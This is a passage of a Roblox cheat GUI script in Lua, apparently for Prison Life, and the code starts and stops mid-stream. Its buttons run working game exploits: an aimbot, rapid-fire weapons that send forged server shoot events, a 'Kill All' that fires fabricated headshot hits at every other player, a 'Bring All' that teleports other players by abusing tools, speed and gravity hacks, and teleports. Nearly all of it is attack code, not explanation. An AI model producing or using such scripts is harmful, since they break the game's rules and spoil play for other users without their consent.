if raycast == true and switch == false and not aimatpart


then
getaimbotplrs()
aimatpart = nil
local maxangle = 999
for i, v in ipairs(plrsforaim) do
if v.Parent ~= lplr.Character then
local an = checkfov(v)
if an < maxangle and v ~=
lplr.Character.Head then
maxangle = an
aimatpart = v
print(v:GetFullName())

v.Parent.Humanoid.Died:connect(function()
aimatpart = nil
end)
end
end
end

end
end)
delay(0, function()
while wait(espupdatetime) do
if autoesp == true then
pcall(function()
f.addesp()
end)
end
end
end)
warn("loaded")
end)

fastrem.Name = "fastrem"
fastrem.Parent = main
fastrem.BackgroundColor3 = Color3.new(1, 0.333333, 0)
fastrem.Position = UDim2.new(0.00783289783, 0, 0.518048227, 0)
fastrem.Size = UDim2.new(0, 84, 0, 32)
fastrem.Font = Enum.Font.Bodoni
fastrem.Text = "Fast Remington"
fastrem.TextColor3 = Color3.new(0, 0, 0)
fastrem.TextSize = 14
fastrem.MouseButton1Down:connect(function()
local Player = game.Players.LocalPlayer.Name
local Gun = "Remington 870" -- < -- Gun Name
local Run = game:GetService("RunService")

Gun = game.Players[Player].Character[Gun]
local Mouse = game.Players.LocalPlayer:GetMouse()
local Down = false
local Sound = Gun.Handle.FireSound

function CreateRay(Point_A, Point_B)


local Ray = Ray.new(Point_A, (Point_B - Point_A).Unit * (2
^ 31 - 1))
local Part, Pos = workspace:FindPartOnRay(Ray,
game.Players.LocalPlayer.Character)
local Dist = (Point_A - Pos).Magnitude
local CFrame = CFrame.new(Point_A, Pos) * CFrame.new(0, 0,
-Dist / 2)

return CFrame, Dist, Ray


end

function FireLaser(target)
coroutine.resume(coroutine.create(function()
local C, D, R = CreateRay(Gun.Muzzle.CFrame.p,
target.CFrame.p)
local Bullet = Instance.new("Part", Gun)
Bullet.BrickColor = BrickColor.Yellow()
Bullet.Material = "Neon"
Bullet.Anchored = true
Bullet.CanCollide = false
Bullet.Size = Vector3.new(0.2, 0.2, D)
Bullet.CFrame = C

local bulletTable = {}
table.insert(bulletTable, {
Hit = target,
Distance = D,
Cframe = C,
RayObject = R
})

game.ReplicatedStorage.ShootEvent:FireServer(bulletTable, Gun)
local C = Sound:Clone()
C.Parent = Gun
C:Play()
wait(0.05)
Bullet:Remove()
end))
end

Mouse.Button1Down:Connect(function()
Down = true
end)

Mouse.Button1Up:Connect(function()
Down = false
end)

while Run.Stepped:wait() do
if Down == true then
game.ReplicatedStorage.SoundEvent:FireServer(Sound,
Gun)
FireLaser(Mouse.Target)
end
end
end)

fastm9.Name = "fastm9"
fastm9.Parent = main
fastm9.BackgroundColor3 = Color3.new(1, 0.333333, 0)
fastm9.Position = UDim2.new(0.267702788, 0, 0.518048167, 0)
fastm9.Size = UDim2.new(0, 84, 0, 32)
fastm9.Font = Enum.Font.Bodoni
fastm9.Text = "Fast M9"
fastm9.TextColor3 = Color3.new(0, 0, 0)
fastm9.TextSize = 14
fastm9.MouseButton1Down:connect(function()
local Player = game.Players.LocalPlayer.Name
local Gun = "M9" -- < -- Gun Name
local Run = game:GetService("RunService")

Gun = game.Players[Player].Character[Gun]
local Mouse = game.Players.LocalPlayer:GetMouse()
local Down = false
local Sound = Gun.Handle.FireSound

function CreateRay(Point_A, Point_B)


local Ray = Ray.new(Point_A, (Point_B - Point_A).Unit * (2
^ 31 - 1))
local Part, Pos = workspace:FindPartOnRay(Ray,
game.Players.LocalPlayer.Character)
local Dist = (Point_A - Pos).Magnitude
local CFrame = CFrame.new(Point_A, Pos) * CFrame.new(0, 0,
-Dist / 2)

return CFrame, Dist, Ray


end

function FireLaser(target)
coroutine.resume(coroutine.create(function()
local C, D, R = CreateRay(Gun.Muzzle.CFrame.p,
target.CFrame.p)
local Bullet = Instance.new("Part", Gun)
Bullet.BrickColor = BrickColor.Yellow()
Bullet.Material = "Neon"
Bullet.Anchored = true
Bullet.CanCollide = false
Bullet.Size = Vector3.new(0.2, 0.2, D)
Bullet.CFrame = C

local bulletTable = {}
table.insert(bulletTable, {
Hit = target,
Distance = D,
Cframe = C,
RayObject = R
})

game.ReplicatedStorage.ShootEvent:FireServer(bulletTable, Gun)
local C = Sound:Clone()
C.Parent = Gun
C:Play()
wait(0.05)
Bullet:Remove()
end))
end

Mouse.Button1Down:Connect(function()
Down = true
end)

Mouse.Button1Up:Connect(function()
Down = false
end)

while Run.Stepped:wait() do
if Down == true then
game.ReplicatedStorage.SoundEvent:FireServer(Sound,
Gun)
FireLaser(Mouse.Target)
end
end
end)

fasttaze.Name = "fasttaze"
fasttaze.Parent = main
fasttaze.BackgroundColor3 = Color3.new(1, 0.333333, 0)
fasttaze.Position = UDim2.new(0.522364557, 0, 0.518048108, 0)
fasttaze.Size = UDim2.new(0, 84, 0, 32)
fasttaze.Font = Enum.Font.Bodoni
fasttaze.Text = "Fast Taser"
fasttaze.TextColor3 = Color3.new(0, 0, 0)
fasttaze.TextSize = 14
fasttaze.MouseButton1Down:connect(function()
local Player = game.Players.LocalPlayer.Name
local Gun = "Taser" -- < -- Gun Name
local Run = game:GetService("RunService")

Gun = game.Players[Player].Character[Gun]
local Mouse = game.Players.LocalPlayer:GetMouse()
local Down = false
local Sound = Gun.Handle.FireSound
function CreateRay(Point_A, Point_B)
local Ray = Ray.new(Point_A, (Point_B - Point_A).Unit * (2
^ 31 - 1))
local Part, Pos = workspace:FindPartOnRay(Ray,
game.Players.LocalPlayer.Character)
local Dist = (Point_A - Pos).Magnitude
local CFrame = CFrame.new(Point_A, Pos) * CFrame.new(0, 0,
-Dist / 2)

return CFrame, Dist, Ray


end

function FireLaser(target)
coroutine.resume(coroutine.create(function()
local C, D, R = CreateRay(Gun.Muzzle.CFrame.p,
target.CFrame.p)
local Bullet = Instance.new("Part", Gun)
Bullet.BrickColor = BrickColor.Yellow()
Bullet.Material = "Neon"
Bullet.Anchored = true
Bullet.CanCollide = false
Bullet.Size = Vector3.new(0.2, 0.2, D)
Bullet.CFrame = C

local bulletTable = {}
table.insert(bulletTable, {
Hit = target,
Distance = D,
Cframe = C,
RayObject = R
})

game.ReplicatedStorage.ShootEvent:FireServer(bulletTable, Gun)
local C = Sound:Clone()
C.Parent = Gun
C:Play()
wait(0.05)
Bullet:Remove()
end))
end

Mouse.Button1Down:Connect(function()
Down = true
end)

Mouse.Button1Up:Connect(function()
Down = false
end)
while Run.Stepped:wait() do
if Down == true then
game.ReplicatedStorage.SoundEvent:FireServer(Sound,
Gun)
FireLaser(Mouse.Target)
end
end
end)

fastak.Name = "fastak"
fastak.Parent = main
fastak.BackgroundColor3 = Color3.new(1, 0.333333, 0)
fastak.Position = UDim2.new(0.77959609, 0, 0.518048167, 0)
fastak.Size = UDim2.new(0, 79, 0, 32)
fastak.Font = Enum.Font.Bodoni
fastak.Text = "Fast AK47"
fastak.TextColor3 = Color3.new(0, 0, 0)
fastak.TextSize = 14
fastak.MouseButton1Down:connect(function()
local Player = game.Players.LocalPlayer.Name
local Gun = "AK47" -- < -- Gun Name
local Run = game:GetService("RunService")

Gun = game.Players[Player].Character[Gun]
local Mouse = game.Players.LocalPlayer:GetMouse()
local Down = false
local Sound = Gun.Handle.FireSound

function CreateRay(Point_A, Point_B)


local Ray = Ray.new(Point_A, (Point_B - Point_A).Unit * (2
^ 31 - 1))
local Part, Pos = workspace:FindPartOnRay(Ray,
game.Players.LocalPlayer.Character)
local Dist = (Point_A - Pos).Magnitude
local CFrame = CFrame.new(Point_A, Pos) * CFrame.new(0, 0,
-Dist / 2)

return CFrame, Dist, Ray


end

function FireLaser(target)
coroutine.resume(coroutine.create(function()
local C, D, R = CreateRay(Gun.Muzzle.CFrame.p,
target.CFrame.p)
local Bullet = Instance.new("Part", Gun)
Bullet.BrickColor = BrickColor.Yellow()
Bullet.Material = "Neon"
Bullet.Anchored = true
Bullet.CanCollide = false
Bullet.Size = Vector3.new(0.2, 0.2, D)
Bullet.CFrame = C

local bulletTable = {}
table.insert(bulletTable, {
Hit = target,
Distance = D,
Cframe = C,
RayObject = R
})

game.ReplicatedStorage.ShootEvent:FireServer(bulletTable, Gun)
local C = Sound:Clone()
C.Parent = Gun
C:Play()
wait(0.05)
Bullet:Remove()
end))
end

Mouse.Button1Down:Connect(function()
Down = true
end)

Mouse.Button1Up:Connect(function()
Down = false
end)

while Run.Stepped:wait() do
if Down == true then
game.ReplicatedStorage.SoundEvent:FireServer(Sound,
Gun)
FireLaser(Mouse.Target)
end
end
end)

killall.Name = "killall"
killall.Parent = main
killall.BackgroundColor3 = Color3.new(1, 0, 0)
killall.Position = UDim2.new(0.0102345012, 0, 0.760852396, 0)
killall.Size = UDim2.new(0, 110, 0, 34)
killall.Font = Enum.Font.GothamBold
killall.Text = "Kill All"
killall.TextColor3 = Color3.new(0, 0, 0)
killall.TextSize = 14
killall.MouseButton1Down:connect(function()
workspace.Remote.TeamEvent:FireServer("Medium stone grey")

game.Workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.giver["Reming
ton 870"].ITEMPICKUP)
wait(0.5)
function kill(a)
local A_1 =
{
[1] =
{
["RayObject"] =
Ray.new(Vector3.new(845.555908, 101.429337, 2269.43945), Vector3.new(-391.152252,
8.65560055, -83.2166901)),
["Distance"] = 3.2524313926697,
["Cframe"] = CFrame.new(840.310791,
101.334137, 2267.87988, 0.0636406094, 0.151434347, -0.986416459, 0, 0.988420188,
0.151741937, 0.997972965, -0.00965694897, 0.0629036576),
["Hit"] = a.Character.Head
},
[2] =
{
["RayObject"] =
Ray.new(Vector3.new(845.555908, 101.429337, 2269.43945), Vector3.new(-392.481476,
-8.44939327, -76.7261353)),
["Distance"] = 3.2699294090271,
["Cframe"] = CFrame.new(840.290466,
101.184189, 2267.93506, 0.0964837447, 0.0589403138, -0.993587971, 4.65661287e-10,
0.998245299, 0.0592165813, 0.995334625, -0.00571343815, 0.0963144377),
["Hit"] = a.Character.Head
},
[3] =
{
["RayObject"] =
Ray.new(Vector3.new(845.555908, 101.429337, 2269.43945), Vector3.new(-389.21701,
-2.50536323, -92.2163162)),
["Distance"] = 3.1665518283844,
["Cframe"] = CFrame.new(840.338867,
101.236496, 2267.80371, 0.0166504811, 0.0941716284, -0.995416701, 1.16415322e-10,
0.995554805, 0.0941846818, 0.999861419, -0.00156822044, 0.0165764652),
["Hit"] = a.Character.Head
},
[4] =
{
["RayObject"] =
Ray.new(Vector3.new(845.555908, 101.429337, 2269.43945), Vector3.new(-393.353973,
3.13988972, -72.5452042)),
["Distance"] = 3.3218522071838,
["Cframe"] = CFrame.new(840.277222,
101.285957, 2267.9707, 0.117109694, 0.118740402, -0.985994935, -1.86264515e-09,
0.992826641, 0.119563118, 0.993119001, -0.0140019981, 0.116269611),
["Hit"] = a.Character.Head
},
[5] =
{
["RayObject"] =
Ray.new(Vector3.new(845.555908, 101.429337, 2269.43945), Vector3.new(-390.73172,
3.2097764, -85.5477524)),
["Distance"] = 3.222757101059,
["Cframe"] = CFrame.new(840.317993,
101.286423, 2267.86035, 0.0517584644, 0.123365127, -0.991010666, 0, 0.992340803,
0.123530701, 0.99865967, -0.00639375951, 0.0513620302),
["Hit"] = a.Character.Head
}
}
local A_2 = game.Players.LocalPlayer.Backpack["Remington
870"]
local Event =
game:GetService("ReplicatedStorage").ShootEvent
Event:FireServer(A_1, A_2)
Event:FireServer(A_1, A_2)
end

for i,v in pairs(game.Players:GetChildren())do


if v.Name ~= game.Players.LocalPlayer.Name then
kill(v)
end
end
wait(1)
workspace.Remote.TeamEvent:FireServer("Bright orange")
end)

btools.Name = "btools"
btools.Parent = main
btools.BackgroundColor3 = Color3.new(0, 1, 1)
btools.Position = UDim2.new(0.678933322, 0, 0.2304198, 0)
btools.Size = UDim2.new(0, 111, 0, 32)
btools.Font = Enum.Font.GothamBold
btools.Text = "Btools"
btools.TextColor3 = Color3.new(1, 0, 0)
btools.TextSize = 14
btools.MouseButton1Down:connect(function()
local tool1 =
Instance.new("HopperBin",game.Players.LocalPlayer.Backpack)
tool1.BinType = "Hammer"
end)

speed.Name = "speed"
speed.Parent = main
speed.BackgroundColor3 = Color3.new(0.333333, 1, 1)
speed.Position = UDim2.new(0.350194454, 0, 0.379678607, 0)
speed.Size = UDim2.new(0, 110, 0, 32)
speed.Font = Enum.Font.GothamBold
speed.Text = "Speed"
speed.TextColor3 = Color3.new(1, 0, 0)
speed.TextSize = 14
speed.MouseButton1Down:connect(function()
Speed = "100" -- Change to how fast you want to go

player = game.Players.LocalPlayer.Character
power = "WalkSpeed"
player.Humanoid[power] = Speed
wait()
player.HumanoidRootPart.CustomPhysicalProperties =
PhysicalProperties.new(9e99, 9e99, 9e99, 9e99, 9e99)
wait()
repeat
game.Workspace.Gravity = 1000
wait()
game.Players.LocalPlayer.Character.Humanoid.JumpPower =
287.5
wait()
until game.Players.LocalPlayer.Character.Humanoid.Health == 0
end)

respawn.Name = "respawn"
respawn.Parent = main
respawn.BackgroundColor3 = Color3.new(0.333333, 1, 1)
respawn.Position = UDim2.new(0.68041873, 0, 0.379084349, 0)
respawn.Size = UDim2.new(0, 111, 0, 32)
respawn.Font = Enum.Font.GothamBold
respawn.Text = "Fast Respawn"
respawn.TextColor3 = Color3.new(1, 0, 0)
respawn.TextSize = 14
respawn.MouseButton1Down:connect(function()
local A_1 = "\66\114\111\121\111\117\98\97\100\100"
local Event = game:GetService("Workspace").Remote.loadchar
Event:InvokeServer(A_1)
end)

Credits.Name = "Credits"
Credits.Parent = main
Credits.BackgroundColor3 = Color3.new(0, 0, 0)
Credits.Position = UDim2.new(0.0242873691, 0, 0.934491813, 0)
Credits.Size = UDim2.new(0, 352, 0, 31)
Credits.Font = Enum.Font.GothamBold
Credits.Text = "Made by JAKE11PRICE on YouTube"
Credits.TextColor3 = Color3.new(1, 1, 0)
Credits.TextSize = 14

prison.Name = "prison"
prison.Parent = main
prison.BackgroundColor3 = Color3.new(0, 1, 1)
prison.Position = UDim2.new(0.681462109, 0, 0.450664163, 0)
prison.Size = UDim2.new(0, 110, 0, 32)
prison.Font = Enum.Font.GothamBlack
prison.Text = "Prison"
prison.TextColor3 = Color3.new(1, 0, 0)
prison.TextSize = 14
prison.MouseButton1Down:connect(function()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame =
CFrame.new(918.77,100,2379.07)
end)

yard.Name = "yard"
yard.Parent = main
yard.BackgroundColor3 = Color3.new(0.333333, 1, 1)
yard.Position = UDim2.new(0.0127276238, 0, 0.45231539, 0)
yard.Size = UDim2.new(0, 110, 0, 32)
yard.Font = Enum.Font.GothamBlack
yard.Text = "Yard"
yard.TextColor3 = Color3.new(1, 0, 0)
yard.TextSize = 14
yard.MouseButton1Down:connect(function()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame =
CFrame.new(779.87,98,2458.93)
end)

crimbase.Name = "crimbase"
crimbase.Parent = main
crimbase.BackgroundColor3 = Color3.new(0.333333, 1, 1)
crimbase.Position = UDim2.new(0.348744512, 0, 0.451209784, 0)
crimbase.Size = UDim2.new(0, 110, 0, 32)
crimbase.Font = Enum.Font.GothamBlack
crimbase.Text = "Crim Base"
crimbase.TextColor3 = Color3.new(1, 0, 0)
crimbase.TextSize = 14
crimbase.MouseButton1Down:connect(function()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame =
CFrame.new(-943.46,94.13,2063.63)
end)

title_2.Name = "title"
title_2.Parent = main
title_2.BackgroundColor3 = Color3.new(0.333333, 1, 0)
title_2.Position = UDim2.new(0.000689314213, 0, 0.592849016, 0)
title_2.Size = UDim2.new(0, 364, 0, 26)
title_2.Font = Enum.Font.GothamBold
title_2.Text = "FUN FE COMMANDS!"
title_2.TextColor3 = Color3.new(0, 0, 0)
title_2.TextSize = 14

bringall.Name = "bringall"
bringall.Parent = main
bringall.BackgroundColor3 = Color3.new(1, 1, 0)
bringall.Position = UDim2.new(0.0220828541, 0, 0.704794765, 0)
bringall.Size = UDim2.new(0, 111, 0, 25)
bringall.Font = Enum.Font.GothamBold
bringall.Text = "Bring All"
bringall.TextColor3 = Color3.new(0, 0, 0)
bringall.TextSize = 14
bringall.MouseButton1Down:connect(function()
workspace.Remote.TeamEvent:FireServer("Bright blue")

local LocalPlayer = game:GetService("Players").LocalPlayer


local runservice = game:GetService("RunService")
local characters = {}
LocalPlayer.Character:FindFirstChild("Humanoid"):UnequipTools()
local currentamount = #LocalPlayer.Backpack:GetChildren()
LocalPlayer.Character.Archivable = true
local tempchar = LocalPlayer.Character:Clone()
tempchar.Parent = workspace
local savepos =
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
local renderstepped = runservice.RenderStepped:Connect(function()
workspace.CurrentCamera.CameraSubject =
tempchar:FindFirstChild("Humanoid")
for _, tool in pairs(LocalPlayer.Backpack:GetChildren()) do
if tool:IsA("Tool") then
tool.Parent = LocalPlayer
end
end
LocalPlayer.Character:ClearAllChildren()
local char = Instance.new("Model", workspace)
table.insert(characters, char)
Instance.new("Humanoid", char)
LocalPlayer.Character = char
repeat runservice.RenderStepped:Wait() until
LocalPlayer.Character ~= nil
end)
repeat runservice.RenderStepped:Wait() until
#LocalPlayer:GetChildren() - 2 - currentamount >= #game.Players:GetPlayers() * 6
renderstepped:Disconnect()
repeat runservice.RenderStepped:Wait() until
LocalPlayer.Character:FindFirstChild("HumanoidRootPart") ~= nil
for _, char in pairs(characters) do
char:Destroy()
end
for _, tool in pairs(LocalPlayer:GetChildren()) do
if tool:IsA("Tool") then
tool.Parent = LocalPlayer.Backpack
end
end
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame =
savepos
tempchar:Destroy()

wait()

for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(.1)
end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then
game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character
game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)
end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then
game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain
wait()
v.Character.HumanoidRootPart.CFrame =
CFrame.new(game.Players.LocalPlayer.Character.HumanoidRootPart.Position +
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.rightVector)

end
wait(0.01)

end
for i, v in pairs(game.Players:GetPlayers()) do
if v and v.Name ~= game.Players.LocalPlayer.Name then

game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character
game.Players.LocalPlayer.Backpack:FindFirstChildOfClass("Tool").Parent =
game.Players.LocalPlayer.Character

game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent =
game.Workspace.Terrain

